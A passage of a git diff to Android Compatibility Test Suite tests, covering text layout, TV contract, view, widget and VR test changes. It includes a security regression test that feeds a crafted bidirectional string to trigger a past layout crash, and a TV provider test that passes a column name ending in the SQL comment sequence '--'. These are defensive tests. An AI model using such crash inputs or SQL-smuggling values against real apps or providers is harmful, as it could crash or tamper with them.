-U/0JENOcSTfthce7dDhCCqw3P0Xmo9xW1x9YqcAPzNcQE7Lm68MeOB9esoTlIFS7R9tRp17pBU8Y
-Lw9WSRFy6jBYX1Wf83M96+WPNQensLymnXMDuwJhoNV5MnGMkqsASfkzZwLxcLRKlt4gJ4gmmPlM
-mIeJCcMvUJIMOlYcNEiBF4i4CkzA/ThxPRXSCZdQKjzM5YG7Sj3uEJTYgDq+50k/nKnhqKymZhQN
-pXtax3/2ivonWfNaWWIYBEY3aRQTb3IwTRjM1ib6Aj4sIjATzP0vowmYoQf/iv5HKYyndyRcy4zR
-LeOUbU5Hk0Rhc896eOFshwuB8VQ/6kiIPWN4VRNXn/hjT+p5y+ww8IM1crLV+ftdRDhDKbgxNfo1
-R1uhZgRryzWBmFEz6wSKDctdVeZ087e3pfze+V3/hrT2gevoYtcMHT7+qmNssnDbUinXJicQAQBn
-Wl2lx+PwyRnQ1dAozjcpytqXNmRF/881E2MvtdAN5Y4F5d0fh32Yi455xQ5UNb0=
------END CERTIFICATE-----
-
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 05fc9e6..bd3df09 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,6 +33,7 @@
 import android.graphics.Paint.FontMetricsInt;
 import android.graphics.Typeface;
 import android.os.LocaleList;
+import android.platform.test.annotations.SecurityTest;
 import android.text.Editable;
 import android.text.Layout;
 import android.text.Layout.Alignment;
@@ -1537,4 +1538,33 @@
         assertEquals(-200, secondMetrics.ascent);
         assertEquals(40, secondMetrics.descent);
     }
+
+    // This is for b/140755449
+    @SecurityTest
+    @Test
+    public void testBidiVisibleEnd() {
+        TextPaint paint = new TextPaint();
+        // The default text size is too small and not useful for handling line breaks.
+        // Make it bigger.
+        paint.setTextSize(32);
+
+        final String input = "\u05D0aaaaaa\u3000 aaaaaa";
+        // To make line break happen, pass slightly shorter width from the full text width.
+        final int lineBreakWidth = (int) (paint.measureText(input) * 0.8);
+        final StaticLayout layout = StaticLayout.Builder.obtain(
+                input, 0, input.length(), paint, lineBreakWidth).build();
+
+        // Make sure getLineMax won't cause crashes.
+        // getLineMax eventually calls TextLine.measure which was the problematic method.
+        layout.getLineMax(0);
+
+        final Bitmap bmp = Bitmap.createBitmap(
+                layout.getWidth(),
+                layout.getHeight(),
+                Bitmap.Config.RGB_565);
+        final Canvas c = new Canvas(bmp);
+        // Make sure draw won't cause crashes.
+        // draw eventualy calls TextLine.draw which was the problematic method.
+        layout.draw(c);
+    }
 }
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 27c388a..6314ec5 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -105,7 +105,8 @@
     private static final String WHITE_SPACES = " \r \n \t \f ";
 
     private static final String PARAM_CANONICAL_GENRE = "canonical_genre";
-    private static final String NON_EXISTING_COLUMN_NAME = "non_existing_column";
+    private static final String[] NON_EXISTING_COLUMN_NAMES =
+            {"non_existing_column", "another non-existing column --"};
 
     private String mInputId;
     private ContentResolver mContentResolver;
@@ -336,15 +337,20 @@
     private void verifyNonExistingColumn(Uri channelUri, long channelId) {
         String[] projection = {
                 Channels._ID,
-                NON_EXISTING_COLUMN_NAME
+                NON_EXISTING_COLUMN_NAMES[0],
+                NON_EXISTING_COLUMN_NAMES[1]
         };
         try (Cursor cursor = mContentResolver.query(channelUri, projection, null, null, null)) {
             assertNotNull(cursor);
             assertEquals(cursor.getCount(), 1);
             assertTrue(cursor.moveToNext());
             assertEquals(channelId, cursor.getLong(0));
+            assertEquals(NON_EXISTING_COLUMN_NAMES[0], cursor.getColumnName(1));
             assertNull(cursor.getString(1));
             assertEquals(0, cursor.getInt(1));
+            assertEquals(NON_EXISTING_COLUMN_NAMES[1], cursor.getColumnName(2));
+            assertNull(cursor.getString(2));
+            assertEquals(0, cursor.getInt(2));
         }
     }
 
@@ -533,7 +539,8 @@
             return;
         }
         ContentValues values = createDummyChannelValues(mInputId, false);
-        values.put(NON_EXISTING_COLUMN_NAME, "dummy value");
+        values.put(NON_EXISTING_COLUMN_NAMES[0], "dummy value 0");
+        values.put(NON_EXISTING_COLUMN_NAMES[1], "dummy value 1");
         Uri rowUri = mContentResolver.insert(mChannelsUri, values);
         long channelId = ContentUris.parseId(rowUri);
         Uri channelUri = TvContract.buildChannelUri(channelId);
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
index 478995f..24b2053 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
@@ -44,9 +44,6 @@
  *      KEYCODE_HOME
  * This test launches an Activity and inject KeyEvents with the corresponding key codes.
  * The test will fail if any of these keys are received by the activity.
- * Note: The ASSIST tests were removed because they caused a side-effect of launching the
- * assistant asynchronously (as intended), which causes problems with tests which happen to
- * be running later and lose focus/visibility because of that extra window.
  */
 @MediumTest
 @RunWith(AndroidJUnit4.class)
@@ -66,6 +63,16 @@
     }
 
     @Test
+    public void testKeyCodeAssist() {
+        testKey(KeyEvent.KEYCODE_ASSIST);
+    }
+
+    @Test
+    public void testKeyCodeVoiceAssist() {
+        testKey(KeyEvent.KEYCODE_VOICE_ASSIST);
+    }
+
+    @Test
     public void testKeyCodeHome() {
         testKey(KeyEvent.KEYCODE_HOME);
     }
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index cb2dd97..acd6849 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -3783,6 +3783,11 @@
 
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mockView);
         assertTrue(fitWindowsView.isInTouchMode());
+
+        event.setSource(InputDevice.SOURCE_MOUSE);
+        event.setAction(MotionEvent.ACTION_DOWN);
+        mInstrumentation.sendPointerSync(event);
+        assertFalse(fitWindowsView.isInTouchMode());
     }
 
     @UiThreadTest
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index d52f114..a6271fd 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -387,6 +387,15 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.widget.cts.VideoView2CtsActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="VideoView2CtsActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <activity android:name="android.widget.cts.AutoCompleteCtsActivity"
             android:label="AutoCompleteCtsActivity"
             android:screenOrientation="nosensor"
diff --git a/tests/tests/widget/res/layout/videoview2_layout.xml b/tests/tests/widget/res/layout/videoview2_layout.xml
new file mode 100644
index 0000000..9030e1b
--- /dev/null
+++ b/tests/tests/widget/res/layout/videoview2_layout.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <VideoView2
+        android:id="@+id/videoview"
+        android:layout_width="160dp"
+        android:layout_height="120dp"/>
+</LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index 606bde9..4cc5ec6 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -30,7 +30,6 @@
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.res.Configuration;
-import android.content.res.Resources;
 import android.text.TextUtils;
 import android.view.accessibility.AccessibilityEvent;
 import android.widget.NumberPicker;
@@ -341,15 +340,11 @@
         final int[] numberPickerLocationOnScreen = new int[2];
         mNumberPicker.getLocationOnScreen(numberPickerLocationOnScreen);
 
-        int screenHeight = Resources.getSystem().getDisplayMetrics().heightPixels;
-        int numberPickerMiddleX = numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2;
-        int numberPickerStartY = numberPickerLocationOnScreen[1] + 1;
-
         CtsTouchUtils.emulateDragGesture(mInstrumentation,
-                numberPickerMiddleX,
-                numberPickerStartY,
+                numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
+                numberPickerLocationOnScreen[1] + 1,
                 0,
-                screenHeight - numberPickerStartY); // drag down to the bottom of the screen.
+                mNumberPicker.getHeight() - 2);
 
         // At this point we expect that the drag-down gesture has selected the value
         // that was "above" the previously selected one, and that our value change listener
@@ -394,15 +389,12 @@
         final int[] numberPickerLocationOnScreen = new int[2];
         mNumberPicker.getLocationOnScreen(numberPickerLocationOnScreen);
 
-        int numberPickerMiddleX = numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2;
-        int numberPickerEndY = numberPickerLocationOnScreen[1] + mNumberPicker.getHeight() - 1;
-
         mUiAutomation.executeAndWaitForEvent(() ->
                         CtsTouchUtils.emulateDragGesture(mInstrumentation,
-                                numberPickerMiddleX,
-                                numberPickerEndY,
+                                numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
+                                numberPickerLocationOnScreen[1] + mNumberPicker.getHeight() - 1,
                                 0,
-                                -(numberPickerEndY)), // drag up to the top of the screen.
+                                -(mNumberPicker.getHeight() - 2)),
                 (AccessibilityEvent event) ->
                         event.getEventType() == AccessibilityEvent.TYPE_VIEW_SCROLLED,
                 TIMEOUT_ACCESSIBILITY_EVENT);
@@ -442,5 +434,4 @@
         mNumberPicker.setWrapSelectorWheel(true);
         assertTrue(mNumberPicker.getWrapSelectorWheel());
     }
-
 }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
similarity index 62%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
index 5ee3aeb..e20f24e 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2CtsActivity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,16 +14,22 @@
  * limitations under the License.
  */
 
-package com.android.cts.usepermission;
+package android.widget.cts;
 
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.VideoView2;
 
-public class AutoClosingActivity extends Activity {
+/**
+ * A minimal application for {@link VideoView2} test.
+ */
+public class VideoView2CtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
     @Override
-    protected void onCreate(Bundle savedInstanceState) {
+    public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-
-        finish();
+        setContentView(R.layout.videoview2_layout);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
new file mode 100644
index 0000000..05dd990
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static android.content.Context.KEYGUARD_SERVICE;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.mockito.Matchers.same;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.session.MediaController;
+import android.media.session.PlaybackState;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.VideoView2;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.List;
+
+/**
+ * Test {@link VideoView2}.
+ */
+@Ignore
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class VideoView2Test {
+    /** Debug TAG. **/
+    private static final String TAG = "VideoView2Test";
+    /** The maximum time to wait for an operation. */
+    private static final long   TIME_OUT = 15000L;
+    /** The interval time to wait for completing an operation. */
+    private static final long   OPERATION_INTERVAL  = 1500L;
+    /** The duration of R.raw.testvideo. */
+    private static final int    TEST_VIDEO_DURATION = 11047;
+    /** The full name of R.raw.testvideo. */
+    private static final String VIDEO_NAME   = "testvideo.3gp";
+    /** delta for duration in case user uses different decoders on different
+        hardware that report a duration that's different by a few milliseconds */
+    private static final int DURATION_DELTA = 100;
+    /** AudioAttributes to be used by this player */
+    private static final AudioAttributes AUDIO_ATTR = new AudioAttributes.Builder()
+            .setUsage(AudioAttributes.USAGE_GAME)
+            .setContentType(AudioAttributes.CONTENT_TYPE_SONIFICATION)
+            .build();
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private KeyguardManager mKeyguardManager;
+    private VideoView2 mVideoView;
+    private MediaController mController;
+    private String mVideoPath;
+
+    @Rule
+    public ActivityTestRule<VideoView2CtsActivity> mActivityRule =
+            new ActivityTestRule<>(VideoView2CtsActivity.class);
+
+    @Before
+    public void setup() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mKeyguardManager = (KeyguardManager)
+                mInstrumentation.getTargetContext().getSystemService(KEYGUARD_SERVICE);
+        mActivity = mActivityRule.getActivity();
+        mVideoView = (VideoView2) mActivity.findViewById(R.id.videoview);
+        mVideoPath = prepareSampleVideo();
+
+        mActivityRule.runOnUiThread(() -> {
+            // Keep screen on while testing.
+            mActivity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+            mActivity.setTurnScreenOn(true);
+            mActivity.setShowWhenLocked(true);
+            mKeyguardManager.requestDismissKeyguard(mActivity, null);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        final View.OnAttachStateChangeListener mockAttachListener =
+                mock(View.OnAttachStateChangeListener.class);
+        if (!mVideoView.isAttachedToWindow()) {
+            mVideoView.addOnAttachStateChangeListener(mockAttachListener);
+            verify(mockAttachListener, timeout(TIME_OUT)).onViewAttachedToWindow(same(mVideoView));
+        }
+        mController = mVideoView.getMediaController();
+    }
+
+    @After
+    public void tearDown() throws Throwable {
+        /** call media controller's stop */
+    }
+
+    private boolean hasCodec() {
+        return MediaUtils.hasCodecsForResource(mActivity, R.raw.testvideo);
+    }
+
+    private String prepareSampleVideo() throws IOException {
+        try (InputStream source = mActivity.getResources().openRawResource(R.raw.testvideo);
+             OutputStream target = mActivity.openFileOutput(VIDEO_NAME, Context.MODE_PRIVATE)) {
+            final byte[] buffer = new byte[1024];
+            for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
+                target.write(buffer, 0, len);
+            }
+        }
+
+        return mActivity.getFileStreamPath(VIDEO_NAME).getAbsolutePath();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testConstructor() {
+        new VideoView2(mActivity);
+        new VideoView2(mActivity, null);
+        new VideoView2(mActivity, null, 0);
+    }
+
+    @Test
+    public void testPlayVideo() throws Throwable {
+        // Don't run the test if the codec isn't supported.
+        if (!hasCodec()) {
+            Log.i(TAG, "SKIPPING testPlayVideo(): codec is not supported");
+            return;
+        }
+        final MediaController.Callback mockControllerCallback =
+                mock(MediaController.Callback.class);
+        mActivityRule.runOnUiThread(() -> {
+            mController.registerCallback(mockControllerCallback);
+            mVideoView.setVideoPath(mVideoPath);
+            mController.getTransportControls().play();
+        });
+        ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+        verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+                someState.capture());
+        List<PlaybackState> states = someState.getAllValues();
+        assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+        assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+        assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+    }
+
+    @Test
+    public void testPlayVideoOnTextureView() throws Throwable {
+        // Don't run the test if the codec isn't supported.
+        if (!hasCodec()) {
+            Log.i(TAG, "SKIPPING testPlayVideoOnTextureView(): codec is not supported");
+            return;
+        }
+        final VideoView2.OnViewTypeChangedListener mockViewTypeListener =
+                mock(VideoView2.OnViewTypeChangedListener.class);
+        final MediaController.Callback mockControllerCallback =
+                mock(MediaController.Callback.class);
+        mActivityRule.runOnUiThread(() -> {
+            mVideoView.setOnViewTypeChangedListener(mockViewTypeListener);
+            mVideoView.setViewType(mVideoView.VIEW_TYPE_TEXTUREVIEW);
+            mController.registerCallback(mockControllerCallback);
+            mVideoView.setVideoPath(mVideoPath);
+        });
+        verify(mockViewTypeListener, timeout(TIME_OUT))
+                .onViewTypeChanged(mVideoView, VideoView2.VIEW_TYPE_TEXTUREVIEW);
+
+        mActivityRule.runOnUiThread(() -> {
+            mController.getTransportControls().play();
+        });
+        ArgumentCaptor<PlaybackState> someState = ArgumentCaptor.forClass(PlaybackState.class);
+        verify(mockControllerCallback, timeout(TIME_OUT).atLeast(3)).onPlaybackStateChanged(
+                someState.capture());
+        List<PlaybackState> states = someState.getAllValues();
+        assertEquals(PlaybackState.STATE_PAUSED, states.get(0).getState());
+        assertEquals(PlaybackState.STATE_PLAYING, states.get(1).getState());
+        assertEquals(PlaybackState.STATE_STOPPED, states.get(2).getState());
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
index 15bcb3bd..54d7c22 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
@@ -160,7 +160,7 @@
             assertTrue("First callback should have happened sooner than "
                             + actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI,
                     (callbackFirstInvocationTime - startTime)
-                            <= (minTimeUntilFirstInvocationMs + 200) * NANOS_IN_MILLI);
+                            <= (minTimeUntilFirstInvocationMs + 100) * NANOS_IN_MILLI);
         }
     }
 
diff --git a/tests/vr/src/android/vr/cts/VrFeaturesTest.java b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
index a0c6457..caf1ade 100644
--- a/tests/vr/src/android/vr/cts/VrFeaturesTest.java
+++ b/tests/vr/src/android/vr/cts/VrFeaturesTest.java
@@ -21,8 +21,6 @@
 import android.os.Process;
 import android.test.ActivityInstrumentationTestCase2;
 
-import com.android.compatibility.common.util.CddTest;
-
 public class VrFeaturesTest extends ActivityInstrumentationTestCase2<CtsActivity> {
     private CtsActivity mActivity;
 
@@ -30,7 +28,6 @@
         super(CtsActivity.class);
     }
 
-    @CddTest(requirement="7.9.2/C-1-2")
     public void testLacksDeprecatedVrModeFeature() {
         mActivity = getActivity();
         boolean hasVrMode = mActivity.getPackageManager().hasSystemFeature(
@@ -43,7 +40,6 @@
         }
     }
 
-    @CddTest(requirement="7.9.2/C-1-3")
     public void testSustainedPerformanceModeSupported() {
         mActivity = getActivity();
         PowerManager pm = (PowerManager) mActivity.getSystemService(Context.POWER_SERVICE);